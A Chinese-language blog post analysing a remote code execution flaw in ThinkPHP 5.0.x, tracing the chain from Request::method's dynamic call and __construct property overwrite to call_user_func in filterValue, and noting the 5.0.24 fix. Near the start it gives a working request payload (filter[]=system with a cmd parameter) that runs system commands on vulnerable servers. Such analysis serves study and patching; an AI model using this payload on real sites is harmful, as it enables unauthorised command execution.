ThinkPHP5.0.x远程代码执行

零、前言

一开始就写了写相关的漏洞的分析,之所以很久了才发出来,主要是想接这个漏洞好好熟悉一下thinkphp框架,之前虽然看过tp3不过也就忘差不多了。新年快乐。

一、漏洞信息

软件:ThinkPHP
版本:5.0~5.0.23
类型:代码执行(REC)

二、漏洞复现

环境:

操作系统:windows
服务器:apache
PHP:5.6
版本:ThinkPHP5.0.22

POC:

未开启debug

/thinkphp5/public/index.php?s=captcha&cmd=whoami
_method=__construct&filter%5B%5D=system&method=get

开启debug,url差了个captcha

/thinkphp5/public/index.php?cmd=whoami 
_method=__construct&filter%5B%5D=system&method=get

三、漏洞分析

首先我们给出一个漏洞的流程图,方面梳理漏洞过程。

先反向的回溯一下漏洞过程,漏洞最终的发生位置位于thinkphp\library\think\Request.php,这是tp5实现Request对象的文件,比如用来获取请求类型,操作url等。具体代码位于filterValue函数

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } 
        ... ...
    }
    return $this->filterExp($value);
}

1084行(本文7行)调用了call_user_func,其中的参数$filter, $value都是通过函数参数传入,搜索一下filterValue函数发现其在cookie函数和input函数中被调用。cookie函数在本文件中没有被直接调用,所以重点看一下input函数

public function input($data = [], $name = '', $default = null, $filter = '')
{
    ... ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }
    ... ...
    return $data;
}

与代码执行相关的参数是第一个和第三个即$data 和 $filter,$data来自于形参,$filter经过了getFilter函数的处理

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }
    $filter[] = $default;
    return $filter;
}

当$filter不为空的时候等于request对象的属性值$this->filter。然后接着往前溯源,在同文件的get函数调用了input函数

public function get($name = '', $default = null, $filter = '')
{
    if (empty($this->get)) {
        $this->get = $_GET;
    }
    if (is_array($name)) {
        $this->param      = [];
        return $this->get = array_merge($this->get, $name);
    }
    return $this->input($this->get, $name, $default, $filter);
}

在698行(本文10行)第一个参数$this->get就是前面的$data也就是call_user_func函数中的$value,从代码可以看出这个值在为空的时候直接等于$_GET,那么也就可控。然后接着往前找,看$filter如何传入,在param函数中调用了get函数

public function param($name = '', $default = null, $filter = '')
{
    if (
        ... ...
        $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
        $this->mergeParam = true;
    }
    ... ...
    return $this->input($this->param, $name, $default, $filter);
}

在652行(本文5行)可以看到调用get函数时参数只有一个false,那么根据前面的分析这个$filter会等于$this->$filter,从而不可控。这里要结合另一个同文件的method函数

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

可以看到525行(本文的8行)通过$_POST方式获取了一个外部变量(配置文件中var_method的值为_mothod),然后526行(本文的9行)是一个动态函数调用,因为$this->method参数外部获取,所以可控,那么就可以调用Request类的任意函数。其中Request.php的__construct是这样实现的

protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

这个foreach实际上就起到了覆盖Request类变量的作用,其中$options参数就是$_POST数组也可控,那么我们就可以通过这个函数实现特定的类变量覆盖,比如$this->$filter。

所以现在我们从头分析整个代码执行流程,看什么地方会调用Request的param函数并且如何调用method函数实现变量覆盖,ThinkPHP的入口文件位于\public\index.php

// [ 应用入口文件 ]
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

然后进入到thinkphp\start.php

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();

从thinkphp\library\App.php中的run函数开始应用程序,run函数一开始便会实例化一个Request实例

<?php 
public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        ... ...

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }

        // 记录当前调度信息
        $request->dispatch($dispatch);

        // 记录路由和请求信息
        if (self::$debug) {
            Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
            Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
            Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
        }
        
        ... ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        $data = $exception->getResponse();
    }
    ... ...
    return $response;
}
?>

这里省略了大部分无关代码,当程序执行到116行时(本文的11行)调用了当前文件的routeCheck函数,并传入了$request(Request类实例)参数,跟进到routeCheck函数

public static function routeCheck($request, array $config)
{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

        if ($must && false === $result) {
            // 路由无效
            throw new RouteNotFoundException();
        }
    }

    // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
    if (false === $result) {
        $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
    }

    return $result;
}

系统默认开启路由检测,在643行(本文的6行)调用了thinkphp\library\think\Route.php中的check函数,并传入$request、$path两个重要参数,$path最终是在Request.php的pathinfo函数获取

public function pathinfo()
{
    if (is_null($this->pathinfo)) {
        if (isset($_GET[Config::get('var_pathinfo')])) {
            // 判断URL里面是否有兼容模式参数
            $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
            unset($_GET[Config::get('var_pathinfo')]);
        } 
        ... ...
    }
    return $this->pathinfo;
}

var_pathinfo的值是s,payload中的要跟一个s=captcha的get参数,它会影响程序的执行流程,跟进check函数,下一个步中的$url=captcha

public static function check($request, $url, $depr = '/', $checkDomain = false)
{
    ... ...

    $method = strtolower($request->method());
    // 获取当前请求类型的路由规则
    $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
    // 检测域名部署
    if ($checkDomain) {
        self::checkDomain($request, $rules, $method);
    }

    ... ...
    
    if (isset($rules[$item])) {
        //echo 2;
        // 静态路由规则检测
        $rule = $rules[$item];
        if (true === $rule) {
            $rule = self::getRouteExpress($item);
        }
        if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
            self::setOption($rule['option']);
            return self::parseRule($item, $rule['route'], $url, $rule['option']);
        }
    }
    //echo 3;

    // 路由规则检测
    if (!empty($rules)) {
        return self::checkRoute($request, $rules, $url, $depr);
    }
    return false;
}

在check函数中857行(本文的5行)调用了Resuset类的method函数,这里就可以实现我们想要的变量覆盖,同时$request->method()的返回值也因为变量覆盖可控,所以$method变量可控,这里我们将其设置为get,那么下一步$rules赋值为$rules[$method]也就是$rules[‘get’],$rules实在Route.php一开始定义的路由规则

// 路由规则
private static $rules = [
    'get'     => [],
    'post'    => [],
    'put'     => [],
    'delete'  => [],
    'patch'   => [],
    'head'    => [],
    'options' => [],
    '*'       => [],
    'alias'   => [],
    'domain'  => [],
    'pattern' => [],
    'name'    => [],
];

默认为空,不过很多在中间被重新赋值了,其中’get’的值受ThinkPHP的特性的影响,ThinkPHP5有自动类加载机制,会自动加载vendor目录下的一些文件

其中vendor\topthink\think-captcha\src\helper.php注册了一条get路由

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

此时的$relus值为

array (size=2)
  'captcha/[:id]' => 
    array (size=5)
      'rule' => string 'captcha/[:id]' (length=13)
      'route' => string '\think\captcha\CaptchaController@index' (length=38)
      'var' => 
        array (size=1)
          'id' => int 2
      'option' => 
        array (size=0)
          empty
      'pattern' => 
        array (size=0)
          empty
  'hello' => boolean true

Check函数最后return到同文件中的checkRoute函数,跟进

private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = [])
{
    foreach ($rules as $key => $item) {
        ... ...
        $rule    = $item['rule'];
        $route   = $item['route'];
        $vars    = $item['var'];
        $option  = $item['option'];
        $pattern = $item['pattern'];

        ... ...

        if (is_array($rule)) {
            ... ...
        } elseif ($route) {
            ... ...
            $result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
            if (false !== $result) {
                return $result;
            }
        }
    }
    ... ...
    return false;
}

checkRoute函数中的for循环对$rules进行了解析,然后进入到checkRule函数

private static function checkRule($rule, $route, $url, $pattern, $option, $depr)
{
    ... ...

    if ($len1 >= $len2 || strpos($rule, '[')) {
        ... ...
        if (false !== $match = self::match($url, $rule, $pattern)) {
            // 匹配到路由规则
            return self::parseRule($rule, $route, $url, $option, $match);
        }
    }
    return false;
}

在1205行(本文的7行)调用了match函数,这里会检测检测URL和规则路由是否匹配,也就是说为了匹配这个规则captcha/[:id],s需要等于captcha,然后1207行(本文的9行)进入到parseRule函数

private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false)
{
    $request = Request::instance();
    ... ...
    if ($route instanceof \Closure) {
        // 执行闭包
        $result = ['type' => 'function', 'function' => $route];
    } elseif (0 === strpos($route, '/') || strpos($route, '://')) {
        // 路由到重定向地址
        $result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301];
    } elseif (false !== strpos($route, '\\')) {
        // 路由到方法
        list($path, $var) = self::parseUrlPath($route);
        $route            = str_replace('/', '@', implode('/', $path));
        $method           = strpos($route, '@') ? explode('@', $route) : $route;
        $result           = ['type' => 'method', 'method' => $method, 'var' => $var];
    } 
    ... ... 
    return $result;
}

函数会执行到”路由到方法“这一分支,最终返回的$result的值为

然后层层返回到Route.php中的checkRoute函数再到App.php中的routeCheck函数,再到App.php中的run函数,在run函数139行进入了exec函数,此时$dispatch的值为就是上图的$result,跟进exec函数

protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        ... ...
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        ... ...
    }
    return $data;
}

根据参数的值,进入’method’分支,然后再469行(本文6行)调用了Request.php的param函数

public function param($name = '', $default = null, $filter = '')
{
    if (
        ... ...
        $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
        $this->mergeParam = true;
    }
    ... ...
    return $this->input($this->param, $name, $default, $filter);
}

在代码652行(本文5行)调用了get函数,跟进

public function get($name = '', $default = null, $filter = '')
{
    if (empty($this->get)) {
        $this->get = $_GET;
    }
    if (is_array($name)) {
        $this->param      = [];
        return $this->get = array_merge($this->get, $name);
    }
    return $this->input($this->get, $name, $default, $filter);
}

返回到input函数,跟进

public function input($data = [], $name = '', $default = null, $filter = '')
{
    ... ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }
    ... ...
    return $data;
}

又通过getFilter函数获取$filter的值,跟进

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }
    $filter[] = $default;
    return $filter;
}

在1058行(本文6行)给$filter赋值,前面我们说过Request类中的变量都可以被覆盖,这里先往下看,函数结束后回到input函数。然后调用array_walk_recursive执行filterValue函数,并将filterValue作为参数,进入filterValue函数

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } 
        ... ...
    }
    return $this->filterExp($value);
}

在1083行(本文7行)调用了call_user_func函数,这里就造成了任意代码执行,我们可以将$filter覆盖为一个可执行命令的系统函数比如system,不过传参的时候得是一个数组,其中value来源于前面$_GET参数,可以控制。到此整个攻击链完成。当开启debug的时候,程序在一开始的App.php的run函数(126行)就会直接进入Request类中的param函数,不需要再进入exec函数,也就没有对captcha的依赖了

四、补丁分析

在ThinkPHP5.0.24中,增加了对$this->method的判断,不允许再自由调用类函数。

五、参考文献

https://www.kancloud.cn/manual/thinkphp5

https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ

http://www.rai4over.cn/2019/01/11/Thinkphp5%E6%A1%86%E6%9E%B6%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注